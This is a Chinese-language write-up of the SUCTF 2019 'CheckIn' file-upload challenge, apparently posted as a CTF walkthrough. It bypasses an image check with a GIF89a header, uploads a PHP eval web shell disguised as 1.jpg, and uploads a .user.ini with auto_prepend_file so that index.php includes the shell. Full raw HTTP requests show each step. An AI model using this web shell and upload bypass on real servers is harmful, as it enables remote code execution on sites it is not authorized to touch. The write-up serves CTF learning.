題目連結:[SUCTF 2019]CheckIn。
開啟後,環境如下。
可以看到,是一道檔案上傳題目,嘗試上傳 php 檔案,發現存在檢測。
爆破其他可支援的 php 檔案字尾無果。
嘗試上傳 .htaccess 檔案,發現存在檢測是否為圖片的機制。
透過加入 GIF 檔案幻數後成功繞過檢測圖片的機制,但是這樣的話 ".htaccess" 被破壞,無法利用。
因此嘗試上傳 ".user.ini" 檔案(利用 .user.ini 的前提是伺服器開啟了 CGI 或者 FastCGI,並且上傳檔案的儲存路徑下有 index.php 等可執行檔案)。
.user.ini 中有兩個配置:auto_prepend_file 和 auto_append_file。這兩個配置的意思就是:我們指定一個檔案(如 1.jpg),那麼該檔案就會被包含在要執行的 PHP 檔案中(如 index.php),相當於在 index.php 中插入一句:require(./1.jpg);
。這兩個設定的區別只是在於 auto_prepend_file 是在檔案前插入,auto_append_file 在檔案最後插入。
因此,傳送上傳請求包如下。
POST /index.php HTTP/1.1
Host: 1980b771-4ab1-4c55-8fd3-5be98b8c8741.node5.buuoj.cn:81
Content-Length: 345
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1980b771-4ab1-4c55-8fd3-5be98b8c8741.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1E7AzKRaUeElWNAh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.155 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://1980b771-4ab1-4c55-8fd3-5be98b8c8741.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
------WebKitFormBoundary1E7AzKRaUeElWNAh
Content-Disposition: form-data; name="fileUpload"; filename="1.jpg"
Content-Type: image/jpeg
GIF89a
<script language="php">@eval($_POST['cmd']);</script>
------WebKitFormBoundary1E7AzKRaUeElWNAh
Content-Disposition: form-data; name="upload"
提交
------WebKitFormBoundary1E7AzKRaUeElWNAh--
隨後,再次傳送上傳請求包如下。
POST /index.php HTTP/1.1
Host: 1980b771-4ab1-4c55-8fd3-5be98b8c8741.node5.buuoj.cn:81
Content-Length: 321
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1980b771-4ab1-4c55-8fd3-5be98b8c8741.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1E7AzKRaUeElWNAh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.155 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://1980b771-4ab1-4c55-8fd3-5be98b8c8741.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
------WebKitFormBoundary1E7AzKRaUeElWNAh
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/jpeg
GIF89a
auto_prepend_file = 1.jpg
------WebKitFormBoundary1E7AzKRaUeElWNAh
Content-Disposition: form-data; name="upload"
提交
------WebKitFormBoundary1E7AzKRaUeElWNAh--
最終,使用 AntSword 連線即可。